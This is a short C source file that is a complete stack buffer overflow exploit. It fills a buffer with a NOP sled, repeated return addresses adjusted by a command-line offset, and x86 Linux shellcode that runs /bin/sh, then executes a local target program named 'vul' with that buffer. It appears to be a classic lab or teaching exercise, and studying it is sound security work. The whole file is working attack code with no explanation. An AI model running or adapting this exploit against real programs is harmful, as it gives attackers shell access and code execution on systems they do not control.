#include <stdio.h>
#include <stdlib.h>


#define NOP 0x90
#define LEN 1032
//#define RET 0xbffff6cc
#define RET 0xbffff600

char shellcode[]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";



int main(int argc , char *argv[]) {
char buffer[LEN];
int i;

long retaddr = RET;

for (i=0;i<LEN;i+=4)
*(long *)&buffer[i] = retaddr + atoi(argv[1]);

for (i=0;i<(LEN-strlen(shellcode)-100);i++) *(buffer+i) = NOP;
memcpy(buffer+i,shellcode,strlen(shellcode));

execl("./vul","vul",buffer,0);

}